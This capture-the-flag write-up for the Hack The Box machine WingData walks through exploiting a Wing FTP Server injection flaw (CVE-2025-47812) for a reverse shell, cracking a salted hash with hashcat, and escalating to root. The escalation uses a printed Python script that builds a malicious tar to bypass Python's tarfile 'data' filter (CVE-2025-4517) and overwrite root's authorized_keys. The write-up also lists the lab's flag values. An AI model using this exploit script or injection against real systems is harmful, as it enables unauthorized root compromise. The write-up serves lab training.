WingData is an easy-difficulty Linux machine from Hack The Box that starts with a client portal redirecting us to a Wing FTP Server v7.4.3 instance living on a virtual host. That version is vulnerable to CVE-2025-47812, a null-byte command injection in loginok.html that grants us remote code execution as the wingftp user. From that foothold we read the Wing FTP user database and pull the salted SHA256 hash of the wacky account, which we crack with hashcat’s mode 1410 to recover valid SSH credentials. As wacky we find a passwordless sudo entry running a Python backup-restore script that extracts tarballs with the supposedly “safe” filter="data" mode. We abuse CVE-2025-4517, a PATH_MAX/realpath() bypass of that very filter, by crafting a malicious tar that overflows the path length and chains symlinks and hardlinks to overwrite /root/.ssh/authorized_keys with our own key, giving us a clean SSH login as root.
WingData-info-card
Reconnaissance
We kick things off with our usual full nmap scan:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) | ssh-hostkey: | 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA) |_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519) 80/tcp open http Apache httpd 2.4.66 |_http-title: Did not follow redirect to http://wingdata.htb/ |_http-server-header: Apache/2.4.66 (Debian) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (90%) OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:6.0 Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%), Linux 4.19 (90%), Linux 5.0 (90%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
The usual pair: SSH on 22 and an Apache web server on 80 that redirects us to wingdata.htb, so we add that to our /etc/hosts.
Web Enumeration - Wing FTP Server
Browsing to wingdata.htb and clicking on the Client Portal link redirects us to ftp.wingdata.htb, so we add this virtual host to our /etc/hosts as well. Once there, we can see the software banner telling us exactly what we’re dealing with:
1
FTP server software powered by **[Wing FTP Server v7.4.3](https://www.wftpserver.com/)**
Wing FTP Server v7.4.3 is vulnerable to CVE-2025-47812, a null-byte handling flaw in loginok.html that allows unauthenticated Lua/command injection leading to remote code execution. There’s a handy PoC we can use:
The PoC works by leaking a session UID from loginok.html and then executing our command through dir.html. Let’s confirm code execution with a simple id:
1 2 3 4 5 6 7 8 9 10 11
$ python3 CVE-2025-47812.py -u http://ftp.wingdata.htb -c id
[*] Testing target: http://ftp.wingdata.htb [+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'id' and username: 'anonymous' [+] UID extracted: 0ed117c8bd2e826a1759226f65bd715df528764d624db129b32c21fbca0cb8d6 [+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: 0ed117c8bd2e826a1759226f65bd715df528764d624db129b32c21fbca0cb8d6
We have RCE as the wingftp user. Now let’s upgrade this into a proper interactive shell by pushing a reverse shell payload through the same exploit and catching it on our listener:
1 2 3 4 5 6 7 8
$ rlwrap nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.16.37] from (UNKNOWN) [10.129.10.233] 43648 can't access tty; job control turned off $ id uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev) $
Looting the Wing FTP user database
Wing FTP stores each account’s configuration — including its password hash — as an XML file under /opt/wftpserver/Data/1/users/. Let’s read the wacky account:
We grab the <Password> value, a SHA256 hash: 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca.
Cracking the hash
Wing FTP salts its SHA256 hashes with the username, which corresponds to hashcat mode 1410 (sha256($pass.$salt)). We feed it the hash together with the WingFTP salt and let rockyou do the work:
$ ssh [email protected] The authenticity of host 'wingdata.htb (10.129.10.233)' can't be established. ED25519 key fingerprint is: SHA256:JacnW6dsEmtRtwu2ULpY/CK8n/8M9tU+6pQhjBG3a4w This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'wingdata.htb' (ED25519) to the list of known hosts. [email protected]'s password: Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Feb 18 03:20:57 2026 from 10.10.16.37 wacky@wingdata:~$ cat user.txt b673948286291fda0d0a61032205ab13 wacky@wingdata:~$
wacky@wingdata:~$ sudo -l Matching Defaults entries for wacky on wingdata: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User wacky may run the following commands on wingdata: (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py * wacky@wingdata:~$ cat /opt/backup_clients/restore_backup_clients.py #!/usr/bin/env python3 import tarfile import os import sys import re import argparse
def main(): parser = argparse.ArgumentParser( description="Restore client configuration from a validated backup tarball.", epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john" ) parser.add_argument( "-b", "--backup", required=True, help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, " "where <client_id> is a positive integer, e.g., backup_1001.tar)" ) parser.add_argument( "-r", "--restore-dir", required=True, help="Staging directory name for the restore operation. " "Must follow the format: restore_<client_user> (e.g., restore_john). " "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)." )
args = parser.parse_args()
if not validate_backup_name(args.backup): print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr) sys.exit(1)
backup_path = os.path.join(BACKUP_BASE_DIR, args.backup) if not os.path.isfile(backup_path): print(f"[!] Backup file not found: {backup_path}", file=sys.stderr) sys.exit(1)
if not args.restore_dir.startswith("restore_"): print("[!] --restore-dir must start with 'restore_'", file=sys.stderr) sys.exit(1)
tag = args.restore_dir[8:] if not tag: print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr) sys.exit(1)
if not validate_restore_tag(tag): print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr) sys.exit(1)
try: with tarfile.open(backup_path, "r") as tar: tar.extractall(path=staging_dir, filter="data") print(f"[+] Extraction completed in {staging_dir}") except (tarfile.TarError, OSError, Exception) as e: print(f"[!] Error during extraction: {e}", file=sys.stderr) sys.exit(2)
if __name__ == "__main__": main() wacky@wingdata:~$
Reading the script, its logic is straightforward:
The script: 1. Takes a tar file from the backups directory 2. Extracts it to a staging directory 3. Uses filter="data" which is Python’s “safe” extraction mode
The filter="data" option was added in Python 3.12 to prevent tar extraction attacks like path traversal. Sounds secure, right?
That’s exactly the security control we need to defeat, and it turns out this filter has its own vulnerability: CVE-2025-4517.
Here’s where it gets fun. There’s a vulnerability (CVE-2025-4517 / GHSA-hgqp-3mmf-7h8f) affecting Python 3.12.0 through 3.12.10. The bug: When Python’s os.path.realpath() tries to resolve a path longer than PATH_MAX (4096 bytes on Linux), it silently fails instead of raising an error. The filter="data" security check uses realpath() to validate paths, so if we can make it fail, we bypass the security! ### The Exploit The trick is to create a tar file with: 1. A bunch of directories with really long names (247 characters each) 2. Symlinks at each level that point to these long directories 3. A final symlink that, when resolved, exceeds 4096 characters 4. Use this to escape the extraction directory and write anywhere we want
Putting it all together: we build a malicious backup_1001.tar that overflows PATH_MAX to disable the data filter, then chains an escape symlink plus a hardlink so that the final regular-file write lands on /root/.ssh/authorized_keys — implanting our own SSH public key. We build the tar locally, scp it into the backups directory, and once extraction has been triggered on the box we log in as root:
┌──(kali㉿kali)-[~/CVE-2025-47812-poc] └─$ cat exploit.py import tarfile import os import io
comp = 'd' * 247 # Long directory name steps = "abcdefghijklmnop" # 16 levels path = ""
with tarfile.open("backup_1001.tar", mode="w") as tar: # Create the long path structure for i in steps: # Create directory with long name a = tarfile.TarInfo(os.path.join(path, comp)) a.type = tarfile.DIRTYPE tar.addfile(a)
# Create symlink pointing to it b = tarfile.TarInfo(os.path.join(path, i)) b.type = tarfile.SYMTYPE b.linkname = comp tar.addfile(b) path = os.path.join(path, comp)
# Create the "overflow" symlink - this is where the magic happens # When resolved, this path exceeds PATH_MAX! linkpath = os.path.join("/".join(steps), "l"*254) l = tarfile.TarInfo(linkpath) l.type = tarfile.SYMTYPE l.linkname = "../" * len(steps) # Points back to extraction root tar.addfile(l)
# Symlink that escapes to /root/.ssh/authorized_keys e = tarfile.TarInfo("escape") e.type = tarfile.SYMTYPE e.linkname = linkpath + "/../../../../../root/.ssh/authorized_keys" tar.addfile(e)
# Hardlink to our escape symlink f = tarfile.TarInfo("flaglink") f.type = tarfile.LNKTYPE f.linkname = "escape" tar.addfile(f)
The authenticity of host '10.129.10.233 (10.129.10.233)' can't be established. ED25519 key fingerprint is: SHA256:JacnW6dsEmtRtwu2ULpY/CK8n/8M9tU+6pQhjBG3a4w This host key is known by the following other names/addresses: ~/.ssh/known_hosts:21: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.129.10.233' (ED25519) to the list of known hosts. [email protected]'s password: backup_1001.tar 100% 110KB 56.3KB/s 00:01
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Feb 18 03:27:07 2026 from 10.10.16.37 root@wingdata:~# cat /root/root.txt 9a08e19b20f6ae9372e62687f7e4a084 root@wingdata:~#
The piece that actually triggers the extraction is the sudoers-allowed restore script, which we run on the target as wacky. Because our tar defeats the filter="data" check, root happily follows our symlink/hardlink chain and writes our SSH key into /root/.ssh/authorized_keys: